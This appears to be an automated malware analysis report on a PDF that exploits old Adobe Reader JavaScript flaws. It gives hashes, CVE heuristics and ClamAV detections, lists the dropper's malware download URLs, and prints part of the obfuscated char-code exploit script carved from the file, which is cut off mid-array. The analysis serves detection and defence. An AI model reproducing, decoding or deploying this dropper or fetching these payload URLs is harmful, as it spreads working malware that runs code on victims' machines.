PDF malware analysis — malicious · 4a73a5b34cf97e73

MALICIOUS

PDF

12.3 KB Created: 2009-10-31 19:49:86 Authoring application: PDF Library 1.7.4 (via PDF Library 5.10.1) First seen: 2013-04-22

MD5: f6729c8e8c639c68284e40efa57c901e SHA-1: bea36efb23b3ad71496609c678a9a0f953fd5f7a SHA-256: 4a73a5b34cf97e73dcd6083a8338a2ea3b16da015d9f45eb841a70e92bfc601a

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link

This PDF file exploits multiple Adobe Reader vulnerabilities, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992, through embedded JavaScript. The heuristics indicate that the JavaScript is obfuscated and likely decodes a second-stage payload. ClamAV detections further confirm its malicious nature, identifying it as Pdf.Exploit.Agent-2440 and Js.Exploit.Shellcode-18.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-2440 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-2440
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://suqiwyk.cn/a12/dmno2.exe Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/click.php?r=Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/fgnxy2.exeReferenced by PDF JavaScript
- http://suqiwyk.cn/a12/pznmb2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x268	37124 bytes
SHA-256: `9e90a13fc3223481706de610f9dc246d820a24f70514cb9da8f58e07ffede077`
Preview script First 1,000 lines of the extracted script var chimw="chimw";dgouv='';bcjklw=6627;cdipv=true;ejlw=54331;cgkls=false;hnsu='';djkpx=false;abmqrs="abmqrs";heza="";hklw="hklw";zgcs=false;bcno=31050;jknuy=false;dghmov=93;var lmopt='',blpux=21076,glrwy="glrwy",ajnuw="ajnuw",chtv=String,azlgmo=String,cefhv="20",bckn=0,dhlow="",gmtvx=chtv['eTvmaTlm'.replace(/[mKjfT]/g,'')],bhnu=[63,58,59,150,167,158,149,164,155,159,160,80,152,153,170,143,155,164,90,169,147,162,165,160,94,80,158,149,160,89,173,61,60,57,59,167,154,153,158,149,82,88,171,145,164,163,162,94,158,149,160,151,166,152,82,90,82,98,82,108,82,156,151,158,91,171,63,58,59,57,59,169,147,162,165,160,82,91,111,80,171,145,164,163,162,107,63,58,59,57,175,61,60,57,59,169,147,162,165,160,82,109,82,169,147,162,165,160,96,163,167,146,165,164,164,153,160,151,90,96,94,80,158,149,160,95,100,89,109,61,60,57,59,162,151,164,167,162,160,80,171,145,164,163,162,107,63,58,59,173,63,58,63,58,59,150,167,158,149,164,155,159,160,80,167,164,155,156,145,160,164,153,160,164,152,88,91,171,63,58,59,57,168,145,164,80,162,145,171,156,161,145,150,80,111,80,167,158,151,163,149,145,162,149,90,82,87,165,119,114,119,105,87,165,98,96,98,97,87,165,103,102,98,96,87,165,115,97,104,100,87,165,98,96,101,96,87,165,98,96,98,96,87,165,102,96,106,114,87,165,106,114,98,115,87,165,99,115,105,96,87,165,106,114,115,116,87,165,98,104,102,96,87,165,117,99,103,117,87,165,106,114,103,101,87,165,106,114,119,115,87,165,98,104,102,101,87,165,101,99,103,98,87,165,117,97,118,98,87,165,98,99,117,98,87,165,99,96,101,98,87,165,106,96,102,96,87,165,98,96,101,104,87,165,120,101,105,101,87,165,117,98,106,114,87,165,103,116,103,113,87,165,98,100,117,98,87,165,103,101,98,96,87,165,119,115,106,114,87,165,103,97,103,97,87,165,103,102,103,99,87,165,104,96,103,103,87,165,103,116,106,114,87,165,101,99,98,104,87,165,106,114,117,96,87,165,98,115,105,101,87,165,120,117,106,114,87,165,105,102,98,99,87,165,106,114,101,115,87,165,105,104,102,117,87,165,117,118,98,99,87,165,103,97,106,114,87,165,103,98,99,115,87,165,103,97,106,114,87,165,103,98,100,100,87,165,105,97,106,114,87,165,102,117,99,100,87,165,105,101,106,105,87,165,106,114,120,115,87,165,100,96,105,97,87,165,120,103,98,99,87,165,102,113,107,105,87,165,102,98,115,116,87,165,101,114,104,96,87,165,120,115,103,101,87,165,98,100,105,101,87,165,117,96,101,99,87,165,101,103,119,114,87,165,120,118,101,99,87,165,102,101,98,99,87,165,107,103,98,115,87,165,117,118,106,114,87,165,105,101,115,117,87,165,100,114,120,116,87,165,102,118,120,105,87,165,119,104,103,97,87,165,120,118,107,100,87,165,120,118,120,118,87,165,117,99,101,114,87,165,105,100,104,97,87,165,119,114,98,98,87,165,106,114,118,105,87,165,98,115,102,101,87,165,103,117,107,98,87,165,120,98,98,99,87,165,119,96,118,97,87,165,117,102,98,99,87,165,117,105,101,99,87,165,116,103,98,118,87,165,103,118,98,104,87,165,119,97,117,97,87,165,98,99,98,98,87,165,98,99,117,113,87,165,106,114,117,118,87,165,98,99,98,97,87,165,106,105,117,98,87,165,120,104,102,101,87,165,106,114,104,97,87,165,120,104,102,101,87,165,103,117,103,118,87,165,117,105,103,114,87,165,103,101,117,99,87,165,119,115,106,114,87,165,119,104,103,97,87,165,120,118,102,105,87,165,120,118,120,118,87,165,104,104,103,96,87,165,104,96,119,104,87,165,98,100,116,118,87,165,104,115,119,104,87,165,120,118,120,118,87,165,101,99,120,118,87,165,103,98,118,98,87,165,120,118,103,98,87,165,98,104,105,101,87,165,118,96,120,118,87,165,102,101,106,105,87,165,106,114,120,115,87,165,120,115,102,101,87,165,117,99,117,105,87,165,106,114,103,101,87,165,106,99,119,115,87,165,98,115,119,115,87,165,102,101,106,116,87,165,103,96,120,100,87,165,102,101,117,102,87,165,105,101,120,100,87,165,102,101,117,102,87,165,105,98,120,101,87,165,102,101,117,102,87,165,104,115,120,102,87,165,102,101,117,102,87,165,104,116,120,103,87,165,102,101,117,102,87,165,104,118,120,104,87,165,102,101,117,102,87,165,104,117,120,105,87,165,102,101,117,102,87,165,100,117,120,113,87,165,102,101,117,102,87,165,104,100,120,114,87,165,102,101,117,102,87,165,104,115,120,115,87,165,102,101,117,102,87,165,104,115,120,116,87,165,102,101,117,102,87,165,98,96,120,117,87,165,115,96,119,104,87,165,120,118,120,118,87,165,103,96,120,118,87,165,103,116,104,104,87,165,99,97,106,113,87,165,119,104,99,102,87,165,120,118,99,101,87,165,120,118,120,118,87,165,117,100,106,99,87,165,106,101,98,115,87,165,105,100,117,96,87,165,104,113,99,101,87,165,104,113,98,96,87,165,120,118,98,96,87,165,98,115,105,101,87,165,105,101,120,118,87,165,104,113,98,104,87,165,120,118,98,96,87,165,106,101,118,96,87,165,105,101,117,96,87,165,102,96,98,99,87,165,117,99,117,105,87,165,117,96,101,99,87,165,117,99,117,105,87,165,101,99,103,103,87,165,106,114,117,96,87,165,100,100,102,115,87,165,106,114,98,115,87,165,100,100,105,115,87,165,120,115,98,104,87,165,115,113,120,99,87,165,117,99,103,118,87,165,102,115,106,114,87,165,98,100,100,100,87,165,101,105,106,96,87,165,106,114,98,96,87,165,105,100,117,97,87,165,102,96,98,102,87,165,101,104,106,96,87,165,105,101,98,96,87,165,100,114,120,113,87,165,117,99,117,97,87,165,106,114,103,101,87,165,106,99,119,115,87,165,104,100,119,115,87,165,106,116,103,99,87,165,120,96,102,101,87,165,101,99,103,103,87,165,103,96,118,114,87,165,102,101,117,102,87,165,104,114,120,96,87,165,102,101,117,102,87,165,104,101,120,97,87,165,102,101,117,102,87,165,105,98,120,98,87,165,102,101,117,102,87,165,104,117,120,99,87,165,102,101,117,102,87,165,104,101,120,100,87,165,102,101,117,102,87,165,104,115,120,101,87,165,102,101,117,102,87,165,101,99,120,102,87,165,102,101,117,102,87,165,101,98,120,103,87,165,102,101,117,102,87,165,100,117,120,104,87,165,102,101,117,102,87,165,104,100,120,105,87,165,102,101,117,102,87,165,104,115,120,113,87,165,102,101,117,102,87,165,104,115,120,114,87,165,103,116,106,104,87,165,119,104,120,115,87,165,120,118,98,114,87,165,120,118,120,118,87,165,104,104,103,96,87,165,102,99,104,104,87,165,106,117,120,105,87,165,106,96,119,104,87,165,120,118,120,117,87,165,106,114,120,118,87,165,106,116,120,104,87,165,107,115,102,101,87,165,102,100,104,113,87,165,119,104,103,96,87,165,120,118,105,117,87,165,120,118,120,118,87,165,102,101,106,116,87,165,104,113,119,96,87,165,103,96,99,96,87,165,105,99,119,104,87,165,120,118,120,118,87,165,106,99,120,118,87,165,99,115,117,100,87,165,102,101,106,116,87,165,103,96,119,96,87,165,102,101,106,116,87,165,103,96,107,115,87,165,103,99,103,99,87,165,103,99,103,99,87,165,103,99,103,99,87,165,105,101,120,118,87,165,117,103,98,104,87,165,107,115,102,101,87,165,98,96,102,100,87,165,98,96,98,96,87,165,120,118,103,99,87,165,103,118,118,103,87,165,116,102,98,118,87,165,103,114,117,96,87,165,117,99,117,105,87,165,106,114,103,101,87,165,103,97,119,115,87,165,103,99,103,97,87,165,103,103,103,102,87,165,102,98,104,113,87,165,105,98,119,104,87,165,98,96,98,96,87,165,106,114,98,96,87,165,101,99,118,104,87,165,106,101,120,102,87,165,103,105,118,114,87,165,102,101,117,103,87,165,104,97,120,104,87,165,104,101,100,117,87,165,117,103,105,104,87,165,120,115,102,101,87,165,98,96,104,101,87,165,98,96,98,96,87,165,103,102,105,117,87,165,102,101,106,116,87,165,103,96,120,104,87,165,119,104,103,102,87,165,98,96,103,97,87,165,98,96,98,96,87,165,103,96,103,105,87,165,116,97,119,104,87,165,120,118,120,117,87,165,106,101,120,118,87,165,103,105,117,96,87,165,105,100,103,105,87,165,106,116,101,105,87,165,98,97,102,102,87,165,119,104,103,96,87,165,98,96,101,114,87,165,98,96,98,96,87,165,120,104,106,114,87,165,102,101,106,116,87,165,103,96,120,104,87,165,100,97,119,104,87,165,120,118,120,118,87,165,106,101,120,118,87,165,103,105,117,96,87,165,105,100,103,105,87,165,103,103,98,115,87,165,98,97,119,104,87,165,120,118,120,118,87,165,103,105,120,118,87,165,102,100,117,102,87,165,120,118,101,104,87,165,103,96,105,99,87,165,102,101,106,116,87,165,120,117,120,104,87,165,103,104,98,96,87,165,102,101,106,116,87,165,103,96,120,104,87,165,119,104,103,103,87,165,120,117,105,100,87,165,120,118,120,118,87,165,103,105,103,105,87,165,102,102,102,102,87,165,120,99,101,114,87,165,115,113,105,115,87,165,103,117,103,118,87,165,117,105,103,114,87,165,103,101,117,99,87,165,119,115,106,114,87,165,103,99,103,97,87,165,104,96,104,102,87,165,101,98,116,97,87,165,98,96,119,104,87,165,98,96,98,96,87,165,103,104,98,96,87,165,98,104,101,104,87,165,98,99,105,100,87,165,119,114,102,96,87,165,102,96,120,105,87,165,103,116,106,114,87,165,106,96,98,104,87,165,102,98,120,114,87,165,98,104,105,101,87,165,118,114,101,99,87,165,99,104,106,113,87,165,117,99,106,114,87,165,99,103,119,114,87,165,99,104,101,104,87,165,99,97,105,102,87,165,101,99,102,96,87,165,106,100,117,105,87,165,105,100,118,114,87,165,102,96,98,115,87,165,98,104,101,104,87,165,120,114,105,101,87,165,120,117,102,96,87,165,119,114,117,114,87,165,101,99,120,98,87,165,106,105,117,96,87,165,120,115,102,101,87,165,102,101,106,114,87,165,103,114,120,115,87,165,117,99,117,105,87,165,98,98,101,98,87,165,105,100,104,104,87,165,105,96,105,100,87,165,100,118,101,113,87,165,105,99,100,118,87,165,105,97,105,101,87,165,105,103,104,105,87,165,104,114,105,105,87,165,104,99,100,117,87,165,100,118,104,117,87,165,101,97,104,97,87,165,100,118,101,98,87,165,104,116,104,100,87,165,104,118,104,117,87,165,100,117,101,98,87,165,105,104,104,101,87,165,98,96,104,101,87,165,105,100,104,104,87,165,105,96,105,100,87,165,100,118,101,113,87,165,105,99,100,118,87,165,105,97,105,101,87,165,105,103,104,105,87,165,104,114,105,105,87,165,104,99,100,117,87,165,100,118,104,117,87,165,101,97,104,97,87,165,100,118,101,98,87,165,104,115,104,99,87,165,104,99,104,105,87,165,100,117,104,114,87,165,104,104,105,96,87,165,101,118,105,96,87,165,101,116,105,98,87,165,98,96,98,96,84,89,109,61,60,57,59,166,147,162,82,158,161,160,82,109,82,165,160,149,165,147,147,160,151,88,84,85,167,96,115,96,115,85,167,96,115,96,115,85,167,96,115,96,115,85,167,96,115,96,115,82,91,61,60,57,59,166,147,162,82,152,151,145,162,146,158,159,149,155,82,109,82,158,161,160,82,91,82,160,147,169,158,159,147,148,109,61,60,57,59,166,147,162,82,146,155,151,148,156,161,147,157,80,111,80,167,158,151,163,149,145,162,149,90,82,87,165,98,113,98,113,87,165,98,113,98,113,84,89,109,61,60,57,59,166,147,162,82,152,151,145,150,149,164,163,155,170,151,80,111,80,100,96,109,61,60,57,59,166,147,162,82,163,162,162,147,169,82,109,82,152,151,145,150,149,164,163,155,170,151,80,93,80,154,149,147,160,148,156,161,147,157,94,158,149,160,151,166,152,109,61,60,57,59,167,154,153,158,149,82,88,148,153,153,146,158,159,149,155,96,156,151,158,153,164,154,80,110,80,165,160,164,145,171,89,173,61,60,57,59,57,148,153,153,146,158,159,149,155,82,91,111,80,148,153,153,146,158,159,149,155,109,61,60,57,59,173,63,58,59,57,168,145,164,80,152,153,158,156,148,156,161,147,157,80,111,80,148,153,153,146,158,159,149,155,96,163,167,146,165,164,164,153,160,151,90,96,94,80,165,160,164,145,171,89,109,61,60,57,59,166,147,162,82,146,158,159,149,155,82,109,82,146,155,151,148,156,161,147,157,94,165,165,148,163,166,162,155,158,153,88,98,92,82,146,155,151,148,156,161,147,157,94,158,149,160,151,166,152,95,163,162,162,147,169,91,107,63,58,59,57,169,152,155,156,151,80,90,146,158,159,149,155,96,156,151,158,153,164,154,91,165,160,164,145,171,80,110,80,98,168,102,96,98,96,98,89,173,61,60,57,59,57,148,156,161,147,157,80,111,80,148,156,161,147,157,80,93,80,148,156,161,147,157,80,93,80,152,153,158,156,148,156,161,147,157,107,63,58,59,57,175,61,60,57,59,166,147,162,82,157,151,157,145,145,164,162,147,169,82,109,82,158,151,167,82,113,164,162,147,169,90,89,109,61,60,57,59,150,161,162,82,88,168,145,164,80,155,80,111,80,98,107,82,153,82,108,82,97,102,96,98,107,82,153,93,91,91,171,63,58,59,57,59,157,151,157,145,145,164,162,147,169,141,153,143,80,111,80,148,156,161,147,157,80,93,80,154,149,147,160,148,156,161,147,157,107,63,58,59,57,175,61,60,57,59,166,147,162,82,158,167,157,82,109,82,97,100,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,105,107,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,104,106,107,63,58,59,57,167,164,155,156,96,160,164,153,160,164,152,88,84,85,102,101,98,96,98,150,84,92,82,158,167,157,91,107,63,58,59,173,63,58,63,58,59,150,167,158,149,164,155,159,160,80,149,159,158,156,147,146,145,149,159,145,155,156,90,89,173,61,60,57,59,166,147,162,82,163,154,149,158,156,149,159,150,149,82,109,82,165,160,149,165,147,147,160,151,88,84,85,167,117,116,117,107,85,167,96,98,96,99,85,167,101,104,96,98,85,167,113,99,102,102,85,167,96,98,99,98,85,167,96,98,96,98,85,167,100,98,104,116,85,167,104,116,96,117,85,167,97,117,103,98,85,167,104,116,113,118,85,167,96,106,100,98,85,167,115,101,101,119,85,167,104,116,101,103,85,167,104,116,117,117,85,167,96,106,100,103,85,167,99,101,101,100,85,167,115,99,116,100,85,167,96,101,115,100,85,167,97,98,99,100,85,167,104,98,100,98,85,167,96,98,99,106,85,167,118,103,103,103,85,167,115,100,104,116,85,167,101,118,101,115,85,167,96,102,115,100,85,167,101,103,96,98,85,167,117,117,104,116,85,167,101,99,101,99,85,167,101,104,101,101,85,167,102,98,101,105,85,167,101,118,104,116,85,167,99,101,96,106,85,167,104,116,115,98,85,167,96,117,103,103,85,167,118,119,104,116,85,167,103,104,96,101,85,167,104,116,99,117,85,167,103,106,100,119,85,167,115,120,96,101,85,167,101,99,104,116,85,167,101,100,97,117,85,167,101,99,104,116,85,167,101,100,98,102,85,167,103,99,104,116,85,167,100,119,97,102,85,167,103,103,104,107,85,167,104,116,118,117,85,167,98,98,103,99,85,167,118,105,96,101,85,167,100,115,105,107,85,167,100,100,113,118,85,167,99,116,102,98,85,167,118,117,101,103,85,167,96,102,103,103,85,167,115,98,99,101,85,167,99,105,117,116,85,167,118,120,99,101,85,167,100,103,96,101,85,167,105,105,96,117,85,167,115,120,104,116,85,167,103,103,113,119,85,167,98,116,118,118,85,167,100,120,118,107,85,167,117,106,101,99,85,167,118,120,105,102,85,167,118,120,118,120,85,167,115,101,99,116,85,167,103,102,102,99,85,167,117,116,96,100,85,167,104,116,116,107,85,167,96,117,100,103,85,167,101,119,105,100,85,167,118,100,96,101,85,167,117,98,116,99,85,167,115,104,96,101,85,167,115,107,99,101,85,167,114,105,96,120,85,167,101,120,96,106,85,167,117,99,115,99,85,167,96,101,96,100,85,167,96,101,115,115,85,167,104,116,115,120,85,167,96,101,96,99,85,167,104,107,115,100,85,167,118,106,100,103,85,167,104,116,102,99,85,167,118,106,100,103,85,167,101,119,101,120,85,167,115,107,101,116,85,167,101,103,115,101,85,167,117,117,104,116,85,167,117,106,101,99,85,167,118,120,100,107,85,167,118,120,118,120,85,167,102,106,101,98,85,167,102,98,117,106,85,167,96,102,114,120,85,167,102,117,117,106,85,167,118,120,118,120,85,167,99,101,118,120,85,167,101,100,116,100,85,167,118,120,101,100,85,167,96,106,103,103,85,167,116,98,118,120,85,167,100,103,104,107,85,167,104,116,118,117,85,167,118,117,100,103,85,167,115,101,115,107,85,167,104,116,101,103,85,167,104,101,117,117,85,167,96,117,117,117,85,167,100,103,104,118,85,167,101,98,118,102,85,167,100,103,115,104,85,167,103,103,118,102,85,167,100,103,115,104,85,167,103,100,118,103,85,167,100,103,115,104,85,167,102,117,118,104,85,167,100,103,115,104,85,167,102,118,118,105,85,167,100,103,115,104,85,167,102,120,118,106,85,167,100,103,115,104,85,167,102,119,118,107,85,167,100,103,115,104,85,167,98,119,118,115,85,167,100,103,115,104,85,167,102,102,118,116,85,167,100,103,115,104,85,167,102,117,118,117,85,167,100,103,115,104,85,167,102,117,118,118,85,167,100,103,115,104,85,167,96,98,118,119,85,167,113,98,117,106,85,167,118,120,118,120,85,167,101,98,118,120,85,167,101,118,102,106,85,167,97,99,104,115,85,167,117,106,97,104,85,167,118,120,97,103,85,167,118,120,118,120,85,167,115,102,104,101,85,167,104,103,96,117,85,167,103,102,115,98,85,167,102,115,97,103,85,167,102,115,96,98,85,167,118,120,96,98,85,167,96,117,103,103,85,167,103,103,118,120,85,167,102,115,96,106,85,167,118,120,96,98,85,167,104,103,116,98,85,167,103,103,115,98,85,167,100,98,96,101,85,167,115,101,115,107,85,167,115,98,99,101,85,167,115,101,115,107,85,167,99,101,101,105,85,167,104,116,115,98,85,167,98,102,100,117,85,167,104,116,96,117,85,167,98,102,103,117,85,167,118,117,96,106,85,167,113,115,118,101,85,167,115,101,101,120,85,167,100,117,104,116,85,167,96,102,98,102,85,167,99,107,104,98,85,167,104,116,96,98,85,167,103,102,115,99,85,167,100,98,96,104,85,167,99,106,104,98,85,167,103,103,96,98,85,167,98,116,118,115,85,167,115,101,115,99,85,167,104,116,101,103,85,167,104,101,117,117,85,167,102,102,117,117,85,167,104,118,101,101,85,167,118,98,100,103,85,167,99,101,101,105,85,167,101,98,116,116,85,167,100,103,115,104,85,167,102,116,118,98,85,167,100,103,115,104,85,167,102,103,118,99,85,167,100,103,115,104,85,167,103,100,118,100,85,167,100,103,115,104,85,167,102,119,118,101,85,167,100,103,115,104,85,167,102,103,118,102,85,167,100,103,115,104,85,167,102,117,118,103,85,167,100,103,115,104,85,167,99,101,118,104,85,167,100,103,115,104,85,167,99,100,118,105,85,167,100,103,115,104,85,167,98,119,118,106,85,167,100,103,115,104,85,167,102,102,118,107,85,167,100,103,115,104,85,167,102,117,118,115,85,167,100,103,115,104,85,167,102,117,118,116,85,167,101,118,104,106,85,167,117,106,118,117,85,167,118,120,96,116,85,167,118,120,118,120,85,167,102,106,101,98,85,167,100,101,102,106,85,167,104,119,118,107,85,167,104,98,117,106,85,167,118,120,118,119,85,167,104,116,118,120,85,167,104,118,118,106,85,167,105,117,100,103,85,167,100,102,102,115,85,167,117,106,101,98,85,167,118,120,103,119,85,167,118,120,118,120,85,167,100,103,104,118,85,167,102,115,117,98,85,167,101,98,97,98,85,167,103,101,117,106,85,167,118,120,118,120,85,167,104,101,118,120,85,167,97,117,115,102,85,167,100,103,104,118,85,167,101,98,117,98,85,167,100,103,104,118,85,167,101,98,105,117,85,167,101,101,101,101,85,167,101,101,101,101,85,167,101,101,101,101,85,167,103,103,118,120,85,167,115,105,96,106,85,167,105,117,100,103,85,167,96,98,100,102,85,167,96,98,96,98,85,167,118,120,101,101,85,167,101,120,116,105,85,167,114,104,96,120,85,167,101,116,115,98,85,167,115,101,115,107,85,167,104,116,101,103,85,167,101,99,117,117,85,167,101,101,101,99,85,167,101,105,101,104,85,167,100,100,102,115,85,167,103,100,117,106,85,167,96,98,96,98,85,167,104,116,96,98,85,167,99,101,116,106,85,167,104,103,118,104,85,167,101,107,116,116,85,167,100,103,115,105,85,167,102,99,118,106,85,167,102,103,98,119,85,167,115,105,103,106,85,167,118,117,100,103,85,167,96,98,102,103,85,167,96,98,96,98,85,167,101,104,103,119,85,167,100,103,104,118,85,167,101,98,118,106,85,167,117,106,101,104,85,167,96,98,101,99,85,167,96,98,96,98,85,167,101,98,101,107,85,167,114,99,117,106,85,167,118,120,118,119,85,167,104,103,118,120,85,167,101,107,115,98,85,167,103,102,101,107,85,167,104,118,99,107,85,167,96,99,100,104,85,167,117,106,101,98,85,167,96,98,99,116,85,167,96,98,96,98,85,167,118,106,104,116,85,167,100,103,104,118,85,167,101,98,118,106,85,167,98,99,117,106,85,167,118,120,118,120,85,167,104,103,118,120,85,167,101,107,115,98,85,167,103,102,101,107,85,167,101,105,96,117,85,167,96,99,117,106,85,167,118,120,118,120,85,167,101,107,118,120,85,167,100,102,115,104,85,167,118,120,99,106,85,167,101,98,103,101,85,167,100,103,104,118,85,167,118,119,118,106,85,167,101,106,96,98,85,167,100,103,104,118,85,167,101,98,118,106,85,167,117,106,101,105,85,167,118,119,103,102,85,167,118,120,118,120,85,167,101,107,101,107,85,167,100,104,100,104,85,167,118,101,99,116,85,167,113,115,103,117,85,167,101,119,101,120,85,167,115,107,101,116,85,167,101,103,115,101,85,167,117,117,104,116,85,167,101,101,101,99,85,167,102,98,102,104,85,167,99,100,114,99,85,167,96,98,117,106,85,167,96,98,96,98,85,167,101,106,96,98,85,167,96,106,99,106,85,167,96,101,103,102,85,167,117,116,100,98,85,167,100,98,118,107,85,167,101,118,104,116,85,167,104,98,96,106,85,167,100,100,118,116,85,167,96,106,103,103,85,167,116,116,99,101,85,167,97,106,104,115,85,167,115,101,104,116,85,167,97,105,117,116,85,167,97,106,99,106,85,167,97,99,103,104,85,167,99,101,100,98,85,167,104,102,115,107,85,167,103,102,116,116,85,167,100,98,96,117,85,167,96,106,99,106,85,167,118,116,103,103,85,167,118,119,100,98,85,167,117,116,115,116,85,167,99,101,118,100,85,167,104,107,115,98,85,167,118,117,100,103,85,167,100,103,104,116,85,167,101,116,118,117,85,167,115,101,115,107,85,167,96,100,99,100,85,167,103,102,102,106,85,167,103,98,103,102,85,167,98,120,99,115,85,167,103,101,98,120,85,167,103,99,103,103,85,167,103,105,102,107,85,167,102,116,103,107,85,167,102,101,98,119,85,167,98,120,102,119,85,167,99,99,102,99,85,167,98,120,99,100,85,167,102,105,102,104,85,167,103,106,102,119,85,167,99,100,103,107,85,167,102,103,98,119,85,167,102,103,103,106,85,167,102,106,96,98,85,167,103,102,103,102,85,167,99,115,103,98,85,167,98,120,98,120,85,167,103,103,103,101,85,167,102,107,103,99,85,167,103,107,103,105,85,167,98,119,102,116,85,167,102,119,102,101,85,167,102,99,98,120,85,167,99,100,99,99,85,167,102,101,98,120,85,167,102,107,102,117,85,167,102,116,102,101,85,167,103,98,98,119,85,167,103,98,102,106,85,167,103,100,99,120,85,167,96,98,99,118,82,91,107,63,58,59,57,168,145,164,80,159,149,159,143,147,162,164,145,171,80,111,80,160,149,169,80,115,162,164,145,171,88,91,107,63,58,59,57,168,145,164,80,149,147,82,109,82,96,170,96,149,96,149,96,149,96,149,107,63,58,59,57,168,145,164,80,147,148,150,162,82,109,82,96,170,100,98,96,98,96,98,107,63,58,59,57,168,145,164,80,165,147,145,156,151,158,82,109,82,163,154,149,158,156,149,159,150,149,96,156,151,158,153,164,154,80,92,80,100,107,63,58,59,57,168,145,164,80,158,149,160,80,111,80,147,148,150,162,82,93,82,88,165,147,145,156,151,158,93,96,170,99,106,89,109,61,60,57,59,166,147,162,82,169,147,162,165,160,82,109,82,165,160,149,165,147,147,160,151,88,84,85,167,105,98,105,98,85,167,105,98,105,98,82,91,107,63,58,59,57,171,145,164,163,162,80,111,80,152,153,170,143,155,164,90,169,147,162,165,160,94,80,158,149,160,89,109,61,60,57,59,166,147,162,82,147,161,165,160,164,100,80,111,80,90,147,149,80,95,80,98,168,102,96,98,96,98,96,91,95,147,148,150,162,109,61,60,57,59,150,161,162,82,88,168,145,164,80,149,159,167,158,166,80,111,80,98,107,82,147,161,165,160,164,82,108,82,147,161,165,160,164,100,107,82,147,161,165,160,164,93,91,91,171,63,58,59,57,59,157,151,157,145,145,164,162,147,169,141,147,161,165,160,164,143,80,111,80,171,145,164,163,162,80,93,80,165,152,151,156,158,147,161,148,151,107,63,58,59,57,175,61,60,57,59,166,147,162,82,159,168,149,164,150,158,159,169,80,111,80,167,158,151,163,149,145,162,149,90,82,87,